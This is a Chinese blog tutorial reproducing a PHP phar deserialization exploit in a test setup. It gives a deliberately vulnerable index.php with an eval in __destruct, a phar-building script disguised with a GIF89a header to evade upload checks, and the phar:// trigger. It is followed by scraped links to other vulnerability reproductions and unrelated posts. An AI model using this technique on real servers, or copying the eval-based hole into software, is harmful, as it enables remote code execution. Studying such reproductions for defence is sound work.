利用phar实行php反序列化命令执行(测试环境复现)
测试环境的过程大概是:构成出来的phar文件,并修改为任意后缀上传至服务器。通过index.php中存在的文件操作函数参数可控,把参数设置为 phar://上传文件名 即可导致命令执行。
index.php代码如下
<?php
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
$ka = $_GET['file'];
file_exists($ka);
可以看出 foo是一个危险的类,当危险对象被反序列化时会导致命令执行。但是在index.php中,只有一个file_exists()的文件操作函数。
构造phar文件的代码:
<?php
//把要进行反序列化的对象放在此处
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
//生成对应可被利用的对象
$o = new foo(); $o->ha='echo "error";';
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
运行此文件,生成可利用的 phar.phar 文件,并修改后缀为gif (ps:可以修改为任意后缀,但是因为这里做了一个GIF89a头的伪装,所以我就修改为gif了,头部特征也可以任意修改,但是<?php __HALT_COMPILER(); ?> 这段不能动,它是php标志识别phar文件的标志),为了方便,我直接把文件移动至了index.php的目录下

访问index.php,把file参数设置为phar://phar.gif 命令执行成功

一些其他可以触发成功的函数:

参考文章:https://paper.seebug.org/680/
利用phar实行php反序列化命令执行(测试环境复现)的更多相关文章
- 利用phar实行php反序列化命令执行漏洞复现
利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...
- JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-1214 ...
- 企业安全06-Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
CVE-2017-5645 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) 一.漏洞原理 Apache Log4j是一个用于Java的日志记录库,其支持启动 ...
- DHCP命令执行CVE-2018-1111漏洞复现
DHCP命令执行_CVE-2018-1111漏洞复现 一.漏洞描述 在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了 ...
- Apereo CAS 4.1 反序列化命令执行漏洞
命令执行 java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success&q ...
- WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析
漏洞信息 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也可以把 WordPress 当作一个内容管理系统(C ...
- Struct2远程命令执行漏洞(S2-053)复现学习
1.S2-053(CVE-2017-12611) RCE出自一道题目 http://www.whalwl.cn:8027/hello.action 漏洞产生原因:Struts2在使用Freemarke ...
- Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
影响版本 Apache Shiro <= 1.2.4 产生原因 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cook ...
- Jmeter RMI 反序列化命令执行漏洞(CVE-2018-1297)
下载ysoserial,git git clone https://github.com/frohoff/ysoserial.git cd ysoserialmvn clean package -Ds ...
随机推荐
- Jupyter notebook 使用多个Conda 环境
conda install nb_conda_kernels
- adb 脚本
1.打印可以ping到的IP地址 @echo offset a=1:startecho %a% \\把a打印到shellping 172.19.5.%a% -w 1 -n 1|find /i &quo ...
- Pig脚本 .pig
pig脚本就是一个文件,保存了多条pig命令,通常后缀是.pig(不强制). 多行注释:/**/ 单行注释:-- 下面是一个名字是test.pig的脚本的例子: /* ...
- 【转】ubuntu右键在当前位置打开终端
ubuntu右键在当前位置打开终端 ubuntu增加右键命令: 在终端中打开 软件中心: 搜索nautilus-open-terminal安装 命令行: sudo apt-ge ...
- python函数修饰器(decorator)
python语言本身具有丰富的功能和表达语法,其中修饰器是一个非常有用的功能.在设计模式中,decorator能够在无需直接使用子类的方式来动态地修正一个函数,类或者类的方法的功能.当你希望在不修改函 ...
- [UI] 精美UI界面欣赏[5]
精美UI界面欣赏[5]
- 一个好玩的计算题目(c++ 位运算)
2015/11/10 在一个qq群里面,看到一个好玩的题目.“int foo(int x){return x&-x} foo(2^31-3)这个怎么算 ?” 1.自己也就开始算了: (1) ...
- December 04th 2016 Week 50th Sunday
Learn wisdom by the follies of others. 前车之鉴,后人之师. Maybe my personal state is that others can learn w ...
- fun()()() ---- 函数的嵌套
结果--"嘿嘿"
- BZOJ 2424 订货 最小费用流
题目链接: https://www.lydsy.com/JudgeOnline/problem.php?id=2424 题目大意: 某公司估计市场在第i个月对某产品的需求量为Ui,已知在第i月该产品的 ...